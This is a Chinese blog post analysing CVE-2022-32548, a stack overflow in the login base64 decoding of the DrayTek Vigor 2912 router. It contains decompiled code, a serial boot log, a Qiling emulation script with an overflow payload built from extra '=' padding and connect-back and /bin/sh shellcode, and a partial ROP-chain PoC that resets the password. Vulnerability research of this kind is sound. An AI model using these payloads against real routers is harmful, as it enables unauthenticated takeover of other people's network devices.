CVE-2022-32548 DrayTeck 栈溢出漏洞分析
2023-4-29 00:0:0 Author: bestwing.me(查看原文) 阅读量:283 收藏

TL;DR

这个漏洞是我去年 9 月份复现的,一直拖更没有发布在我的 Blog 。因为到考虑 Blog 太久没更新了,所以趁着假期整理下笔记,然后发表在 Blog 上吧。顺便一提, 本篇文章没有什么技术含量,大佬可以忽略不看了。

我这里分析的版本是 Vigor 2912 型号 , 固件版本为 3.8.12 。固件可以从官网下载 [^1], 但是这个属于DrayOS 的系统固件是需要逆向解压代码的,这部分内容不在本篇文章的讨论范围,大家可以参考漏洞的作者 slide[^2] 。这里我就不展开赘述了。

Root Cause

解压固件后, 我们会得到一个 RTOS 的大Binary 文件, 我们可以通过 rbasefind[^3] 或者其他方法获取固件的加载基地址,例如我这里使用 rbasefind 查找出了一个结果:0x80020000

通过 IDA 加载设置好加载地址,然后等待分析结束。在这个过程中呢,我们可以再阅读下漏洞通告[^4]的描述:

Exploitation attempts can be detected by logging/alerting when a malformed base64 string is sent via a POST request to the /cgi-bin/wlogin.cgi end-point on the web management interface router. Base64 encoded strings are expected to be found in the aa and ab fields of the POST request. Malformed base64 strings indicative of an attack would have an abnormally high number of %3D padding. Any number over three should be considered suspicious.

通过这个描述我们可以得出几个结论:

  1. 通过触发接口是 /cgi-bin/wlogin.cgi 即登录接口
  2. 提到了 %3D 可以猜测漏洞出现在 base64_decode 函数中

紧接着我抓去了一个正常登录的 HTTP 请求包,等待 IDA 分析完之后通过对字符串进行交叉引用,找到了对应的漏洞函数:

可以看到 username 和 password 都会通过 base64_decode 这个函数进行解密,这个函数的参数格式为:

1
base64_decode(char *input, char *output, unsigned int maxlen)

我们看到第三个参数看似是限制了最大 decode 长度,但是实际上这个值真的生效了吗? 我们继续往下看

image-20230429164323660

这里会有一个 calc_decdoe_len的函数,来计算 base64 decode 后的长度是不是大于 maxlen 如果大于就退出。 那么我们就基本判定大概率问题是出现在了这个函数中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned int __fastcall calc_decode_len(char *input_buf)
{
unsigned int inputlen;
int decode_out_len;
int out_len;
_BYTE *in_end_chr;
unsigned int offset;
int v7;
int v8;

if ( !input_buf )
return 0;
inputlen = strlen(input_buf);
decode_out_len = 3 * (inputlen >> 2);
if ( !inputlen )
return 3 * (inputlen >> 2);
out_len = decode_out_len - 1;
if ( input_buf[inputlen - 1] != '=' )
return 3 * (inputlen >> 2);
in_end_chr = &input_buf[inputlen];
offset = decode_out_len - inputlen;
if ( out_len != offset )
{
do
{
v7 = (char)*(in_end_chr - 2);
v8 = out_len - 1;
--in_end_chr;
if ( v7 != '=' )
break;
--out_len;
}
while ( v8 != offset );
}
return out_len;
}

通过阅读代码,我们找到了这个函数的问题所在:

大致就是, 首先通过 3 * (inputlen >> 2); 计算出一个长度 , 然后判断最后一位是不是 = , 如果不是直接返回, 如果是接着往下走。

然后我们注意到这里有个减法运算 offset = decode_out_len - inputlen; , 正常而言, 这里的 deocde_out_len 应该是小于 inputlen 的所以这里会是一个 负数。

然后进到 do .. while () 循环中, 只有当 当前字符不为 = 或者, v8 == offset 的时候才会退出循环, 由于 offset 是个负数, 因此只有当前字符不为 = 才会退出返回。然会这里的长度就会--out_len 递减。

根据base64 的原理我们知道四个 = 为空

1
2
3
4
5
>>> import base64
>>>
>>> base64.b64decode("====")
b''

因此在构造我们 payload 的时候, 每多于 maxlen(这里是 84 ) 的长度一个字符, 我们就需在后面添加 四个 等号。 这样 deocde 后的长度永远不会大于 84, 但是真正 decode 的结果却会大于 maxlen

Exploit

拆开机器,可以发现右下角 4 个pin 的是 调试口 。

接着串口后, 可看到一些输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

~~Hope you find out the clue here~~
Caught reserved exception 11 - should not happen.NMI taken!!!!
@@@die: NMI @@@


Vigor2912-DrayLoader-v7 (May 7 2015 - 15:11:57)

MT6856
DRAM Size: 64 MB
CPU Frequency: 700 MHZ
Flash Manufacture ID: 0xC2, Device ID: 0x20 0x17, Name: MX25L6405D
Flash Size: 8 MB

Boot DrayOS~~
run_drayos_image: len=5085180
Go~~


!!! Maxi malloc size =31614752 (st=0X821d88e0, end=0X83fff000)!!!!

dynamic_mem_pool=0x821e52b0, size=0xc80fff[12M]!Modes: __STDC__ 32-bit mwDWORD==(unsigned long)
mwROUNDALLOC==4 sizeof(mwData)==24 mwDataSize==24

statistics: now collecting on a line basis

============= Memwatch Auto Self Test =============

Normal Free...DETECTED
Double Free...DETECTED
NULL Free.....DETECTED
Wild Free.....DETECTED
Underflow.....DETECTED
Overflow......DETECTED
Unfree 1......DETECTED
Unfree 2......DETECTED

ALL TEST OK!
Please be assured that all test buffers have freed.
Slab kmalloc range: [0x821E52B0:0x82E662AF](size=13111295 bytes)
Linear malloc range: [0x821D88D0:0x83FFF000](size=31614768 bytes)

ra_system_init() in:<6>ISPRAM0: PA=00b68000,Size=00008000,enabled
<6>CPU revision is: 00019555 (MIPS 34Kc)
Ralink RT63365 SOC prom init

prom_init() doneFIXME!!! Do we need to complete specific hardware CPU clock setting? or time_init() would complete it ?
set_except_vector: n=0, addr=8003cb80
set_except_vector: n=0, addr=80027684

trap_init() done
plat_mem_setup() done<6>NR_IRQS:64

init_IRQ()...CPU frequency 699.00 MHz
clockevents_register_device
cp0_timer_irq_installed: irq = 31
__setup_irq: irq=31, desc=80a80d30, p=80a80030
desc->chip=80a801d0, desc->chip->startup=80030078

time_init()...
skb_init() donePrimary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes.
Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes

cache_init() done
ralink_led_init() done!!!__setup_irq: irq=29, desc=80a80c90, p=821e8fa0
desc->chip=80a801d0, desc->chip->startup=80030078
Adapter_Interrupts_Init: Successfully hooked IRQ 29

Adapter_Interrupts_Init: call back registeredAdapter_EIP93_Init: CmdRing_Handle=82e7232c
Adapter_EIP93_Init: ResRing_Handle=82e72328
Adapter: Successfully initialized EIP93v2 in ARM mode
PEC_Init: PRNG is initialized
== IPSEC Crypto Engine Driver : Jul 8 2020 15:25:56 ==

hw_crypto_init() done
NR_IRQS=64.
** Enable Global Int **..end..
flash manufacture id: c2, device id 20 17
MX25L6405D(c2 2017c220) (8192 Kbytes)
../sys_misc.c.584: snprintf test pass!
../sys_misc.c.584: vsnprintf test pass!
GMAC1_MAC_ADRH -- : 0x0000001d
SMACCR1 -- : 0x0000001d
GMAC1_MAC_ADRL -- : 0xaa93e52c
SMACCR0 -- : 0xaa93e52c
Ralink APSoC Ethernet Driver Initilization. v3.0 256 rx/tx descriptors allocated, mtu = 1500!
Raeth v3.0 (Workqueue)
__setup_irq: irq=22, desc=80a80a60, p=821e8ea0
desc->chip=80a801d0, desc->chip->startup=80030078

phy_tx_ring = 0x021ef000, tx_ring = 0xa21ef000

phy_rx_ring0 = 0x022c6000, rx_ring0 = 0xa22c6000
Fiber ID does not match (FFFF, FFFF)
Fiber does not exist
GMAC1_MAC_ADRH -- : 0x0000001d
SMACCR1 -- : 0x0000001d
GMAC1_MAC_ADRL -- : 0xaa93e52c
SMACCR0 -- : 0xaa93e52c
__setup_irq: irq=16, desc=80a80880, p=821e8e20
desc->chip=80a801d0, desc->chip->startup=80030078
ESW: Link Status Changed - Port2 Link UP
CDMA_CSG_CFG = 81000007
GDMA1_FWD_CFG = C0710000
start PCIe register access

*************** RT6855A PCIe RC mode *************
PCIE0 no card, disable it
PCIE1 no card, disable it(RST&CLK)
<4>registering PCI controller with io_map_base unset

[SS][Init] Load Service Status from FLASH!!
<6>uVigor2912 by DrayTek Corp.erface driver hub
<6>u==========================ice driver usb
LAN MAC Address : 00-1D-AA-93-E5-2C
usbIP Address : 192.168.2.1
RT3xIP Subnet Mask : 255.255.255.0
<6>eFirmware Version : 3.8.12d' Host Controller (EHCI) Driver
__seSystem Up Time : 0:0:0a80920, p=822ddfa0
desc-------- Main Menu --------->startup=80030078
FIXM1 : Enable TFTP Server
Please Select Item : <6>ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
VLAN table[2~7] cleaned
usb host init done!!
<6>usbcore: registered new interface driver usblp
----> usb_net_init()aned
<6>usbcore: registered new interface driver LTE device driver
<---- usb_net_init()) is 1 **

----------------> usb_register<6>usbcore: registered new interface driver usbserial

----------------> usb_serial_generic_register
** DrayDown event==0 **

** DrayUp event==0 **
<6>usbcore: registered new interface driver usbserial_generic
Initializing USB Mass Storage driver...
<6>usbcore: registered new interface driver usb-storage
USB Mass Storage support registered.

<< sys_board_init_later >>

当我们通过 PoC 攻击设备之后,可以从日志输出看到一些 dump 信息, 输出包括 EPC , 当前崩溃的地址, 如这里里是 0xdeadbeaf,

还会打印栈 和 寄存器

我们可以通过这些输出来调整我们的 PoC, 来达到我们目的,另外为了更方便的调试, 我还使用了 qiling 进行部分代码的模拟, 思路如下:

前面跑一段随便的 shellcode ,然后将 RTOS 整个 binary 读起来, 写入到我 mmap 的内存中。然后设置PC 跳转过去。最后的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from binascii import unhexlify
from pwn import *
import sys

sys.path.append("..")
from qiling import Qiling
from qiling.const import QL_VERBOSE

context(arch='mips')

shellcode_con = asm(shellcraft.connect("127.0.0.1", 1337))

password_addr = 0x81B898A0
die_func_addr = 0x8007EF90
test_addr = 0x8007EF74
proxy = {
'http' : 'http://127.0.0.1:8080'
}

pay = b'admin\x00\x00\x00'
pay+= b'B'* (0x118 - 8 - 8)

pay+= p32(password_addr)
pay+= b'C'*0x20
pay+= p32(test_addr)

padding = len(pay) - 84

payload = base64.b64encode(pay).decode('latin') + '=' * (padding * 4)


def hook_1(ql):
ql.log.info('now run at: 0x807767A0')
ql.reg.write('a0', 0x21000000)
ql.reg.arch_pc = 0x807768B8

def hook_2(ql):
ql.reg.arch_pc = 0x807766ec

def hook_3(ql):
ql.reg.arch_pc = 0x80776808


context(arch='mips', endian='little')
shellcode = asm(shellcraft.sh())
MIPS32EL_LIN = unhexlify('ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e2f7368')

if __name__ == "__main__":
print("\nVigor 2912 emu")
ql = Qiling(code=shellcode, archtype="mips", ostype="linux", verbose=QL_VERBOSE.DEFAULT)
with open('v2912_3812-kernel', 'rb') as f:
data = f.read()
print(hex(len(data)))


ql.mem.map(0x20000000, 0x3000000, info="[STACK ]")
ql.mem.map(0x23000000, 0x3000000, info="[SHELLCODE ]")
ql.mem.map(0x80020000, len(data) + 4092, info="[RTOS ]")
ql.mem.map(0x82000000, 0x4000000)
ql.mem.show_mapinfo()
ql.mem.write(0x80020000, data)
ql.mem.write(0x21000000, payload.encode('latin'))
ql.mem.write(0x23000000, shellcode_con)

ql.reg.arch_sp = 0x20002000
ql.reg.arch_pc = 0x807766EC
ql.reg.write('ra', 0xdeadbeaf)
ql.reg.write('a0', 0x21000000)
ql.hook_address(hook_1, 0x807767A0)
ql.hook_address(hook_2, 0x11ff004)
ql.hook_address(hook_3, 0x807768F8)

ql.debugger = True
ql.run(begin=0x807766EC)

利用思路:

[x] ret2shellcode :
在尝试这个方法的时候, 发现没法执行 shellcode, 猜测是 指令流水线 cache incoherency 特性, 可能需要刷新指令, 但是调用了个 usleep(10000)

虽然看起来 PC 往后移动了, 但是仍然没执行成功, 原因不明。

[✓] rop chain

在逆向一些 cmdlist 的过程中, 发现一个修改密码接口

于是我跳转到这个地方, 修改密码 。这里有一些需要跳过坑点,具体可以留给感兴趣的读者了。这里提供一个 PoC 给读者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pay = flat(
{


272: p32(0xdeadbea0),
276: p32(0xdeadbea1),
280: p32(0xdeadbea2),
284: p32(0xdeadbea3),
288: p32(0xdeadbea4),
292: p32(0xdeadbea5),
296: p32(0xdeadbea6),
308: p32(0xdeadbeaf),
360: p32(0x808EC000),
372: p32(0x808EC000),
372+0x40 +4: p32(0xdeadbeaf),
432: p32(0xdeadbeaf)
}
)

补充

cmdlist 中一个功能可以用来dump内存,方便调试 。 但是注意这里的 0x800000, 我们需要设置当前用户的权限为 0x800000。 这里就是另外一个挑战了,也留给读者自己解决吧。 2333

[^1]: Index of /Vigor2925 (draytek.com.tw)
[^2]: HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret - YouTube
[^3]: sgayou/rbasefind: A firmware base address search tool. (github.com)
[^4]: Unauthenticated Remote Code Execution in a Wide Range of DrayTek Vigor Routers (trellix.com)


文章来源: https://bestwing.me/CVE-2022-32548-DrayTeck-BufferOverflow.html
如有侵权请联系:admin#unsafe.sh